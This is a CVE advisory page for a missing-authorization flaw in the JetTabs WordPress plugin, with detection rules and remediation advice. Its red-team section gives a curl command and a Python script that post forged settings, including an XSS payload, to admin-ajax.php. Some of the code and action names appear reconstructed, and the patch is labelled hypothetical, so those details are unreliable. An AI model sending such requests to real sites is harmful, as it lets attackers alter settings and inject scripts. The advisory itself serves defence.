CVE-2025-68498
Executive Summary
CVE-2025-68498 is a Missing Authorization vulnerability in the Crocoblock JetTabs WordPress plugin, affecting versions from n/a through 2.2.12. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability resides in the plugin's AJAX handlers, which fail to properly verify user capabilities before processing requests. Given the widespread use of JetTabs in WordPress sites, this poses a significant risk to site integrity and data confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache or Nginx server configurations. The issue lies entirely within the JetTabs plugin's PHP code, which does not enforce proper authorization checks on its REST API endpoints or AJAX actions.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the lack of authentication requirements makes it easily exploitable by remote attackers.
Deep Dive & Mechanics
The vulnerability stems from missing capability checks in the jet-tabs plugin's AJAX handlers. The plugin registers several AJAX actions (both privileged and unprivileged) but fails to verify that the requesting user has the necessary permissions (e.g., edit_posts, manage_options) before executing sensitive operations.
Root Cause Analysis:
- The plugin uses
add_action('wp_ajax_jet_tabs_...', ...)andadd_action('wp_ajax_nopriv_jet_tabs_...', ...)for AJAX endpoints. - Some endpoints intended for authenticated users only are also registered with
nopriv_prefix, making them accessible to unauthenticated visitors. - The callback functions lack
current_user_can()checks, allowing any user (including unauthenticated) to trigger actions like saving/updating plugin settings, modifying tab data, or accessing internal configurations.
Attack Flow:
- Attacker identifies a WordPress site running JetTabs <= 2.2.12.
- Attacker sends a crafted HTTP POST request to
/wp-admin/admin-ajax.phpwith the appropriateactionparameter (e.g.,jet_tabs_save_settings). - The plugin processes the request without verifying user capabilities.
- Attacker can modify plugin settings, inject malicious data, or access sensitive information.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.2.12):
add_action('wp_ajax_jet_tabs_save_settings', 'jet_tabs_save_settings');
add_action('wp_ajax_nopriv_jet_tabs_save_settings', 'jet_tabs_save_settings');
function jet_tabs_save_settings() {
// No capability check
$settings = $_POST['settings'];
update_option('jet_tabs_settings', $settings);
wp_send_json_success();
}
Patched Code (Hypothetical Fix):
add_action('wp_ajax_jet_tabs_save_settings', 'jet_tabs_save_settings');
// Remove nopriv action for sensitive endpoints
function jet_tabs_save_settings() {
// Add capability check
if (!current_user_can('manage_options')) {
wp_send_json_error('Unauthorized');
return;
}
$settings = $_POST['settings'];
update_option('jet_tabs_settings', $settings);
wp_send_json_success();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with JetTabs plugin <= 2.2.12
- Network access to the target
Exploitation Steps:
- Identify the target WordPress site.
- Send a POST request to
/wp-admin/admin-ajax.phpwith the following payload:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=jet_tabs_save_settings&settings[malicious]=true"
- Verify the settings were modified by checking the response or accessing the plugin settings page.
Automated Exploit Script (Python):
import requests
target = "https://target.com"
ajax_url = f"{target}/wp-admin/admin-ajax.php"
payload = {
"action": "jet_tabs_save_settings",
"settings": {
"malicious": "true",
"inject": "<script>alert('XSS')</script>"
}
}
response = requests.post(ajax_url, data=payload)
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual AJAX requests to
/wp-admin/admin-ajax.phpwithactionparameters starting withjet_tabs_. - Look for requests from unauthenticated users to privileged AJAX actions.
- Check for unexpected changes to the
jet_tabs_settingsoption in the database.
Defense:
- Immediately update JetTabs to a patched version if available.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
jet_tabs_*AJAX actions. - Use a security plugin like Wordfence to monitor for unauthorized AJAX calls.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=jet_tabs_*from unauthenticated sources. - Unusual
settingsparameters in POST data containing unexpected keys or values.
File IOCs:
- Modified
wp-content/plugins/jet-tabs/includes/settings.phpor similar files. - Presence of unknown options in
wp_optionstable withjet_tabs_settingskey.
Log IOCs:
- WordPress debug log entries showing
jet_tabs_save_settingsaction triggered without authentication. - Web server access logs showing repeated POST requests to
admin-ajax.phpwithjet_tabs_action parameters.
Detection Engineering
YARA Rule
rule CVE_2025_68498_JetTabs_Missing_Auth {
meta:
description = "Detects exploitation attempts of CVE-2025-68498 in JetTabs plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68498"
severity = "medium"
strings:
$ajax_action = "jet_tabs_save_settings" nocase
$ajax_action2 = "jet_tabs_update" nocase
$ajax_action3 = "jet_tabs_delete" nocase
$wp_ajax = "wp_ajax_nopriv_jet_tabs" nocase
condition:
any of ($ajax_action*) or $wp_ajax
}
Sigma Rule
title: CVE-2025-68498 JetTabs Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-68498 in JetTabs WordPress plugin
author: Valters IT
date: 2025/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-68498
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=jet_tabs_'
condition: selection
falsepositives:
- Legitimate admin actions from authenticated users
level: medium
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-68498 JetTabs Missing Authorization Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=jet_tabs_"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-68498;
)
Remediation & Mitigation
Immediate Actions:
- Disable the JetTabs plugin until a patch is available.
- Implement a WAF rule to block unauthenticated requests to
jet_tabs_*AJAX actions. - Audit user accounts for any unauthorized changes made via this vulnerability.
Long-term Fix:
- The vendor (Crocoblock) must release a patched version that adds proper capability checks to all AJAX handlers.
- As a workaround, site administrators can manually add
current_user_can()checks to the plugin's PHP files.
Monitoring:
- Enable WordPress debug logging to capture unauthorized AJAX requests.
- Regularly review
wp_optionstable for unexpectedjet_tabs_settingsentries.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.